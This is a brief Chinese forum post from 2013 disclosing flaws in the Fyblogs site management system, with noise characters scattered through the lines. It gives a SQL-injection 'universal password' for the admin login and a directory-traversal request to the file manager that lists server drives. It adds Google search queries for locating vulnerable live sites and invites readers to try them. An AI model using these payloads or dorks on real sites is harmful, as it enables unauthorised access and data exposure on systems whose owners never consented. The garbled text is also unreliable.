漏洞类型： 未授权访问/权限绕过
) ?9 J6 D t* M% A$ n
8 h) E8 n: w0 x( j" Y! m简要描述：9 w% b9 B% Q" ^& c% h$ u" F/ S
# M* f4 F# o+ x( Z- KFyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
' I$ R0 b4 R. z7 B G- N8 V8 c5 @1 H8 q: g* ^1 }
详细说明：; e$ s3 G+ H" _; w4 ]8 }* y
! {" h! b# m I! {: I A& v! z8 ^! p
后台万能密码 'or'='or'
3 }- q1 T4 |! I后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
& n. r7 t7 @: L1 B" |- \2 N5 W1 cadmin/uploadfile.asp?currentFolder=/upfiles/../
5 e% p9 u# }# c) J; j" J; c. C' F$ x' i1 p* @, Y+ M2 b
漏洞证明： U5 k+ m( N3 |1 h0 E
; E: A& b! e4 I5 B! D4 U G6 o
谷歌：inurl:type.asp?id=1 新闻中心7 o7 N' q' D3 D' a
或者 ：inurl:download_ok.asp?
6 C( s& \( p& E% q' y+ s5 j- F k; j: c8 E- F z' o7 N& e
可以测试
2 h; n& f' c( b5 ?1 o- H
3 [) _' N6 k3 G; d. T- A
; a% X1 K7 Y) ^/ m, J/ f |
发表于 2013-3-7 13:07:46
收藏
支持
反对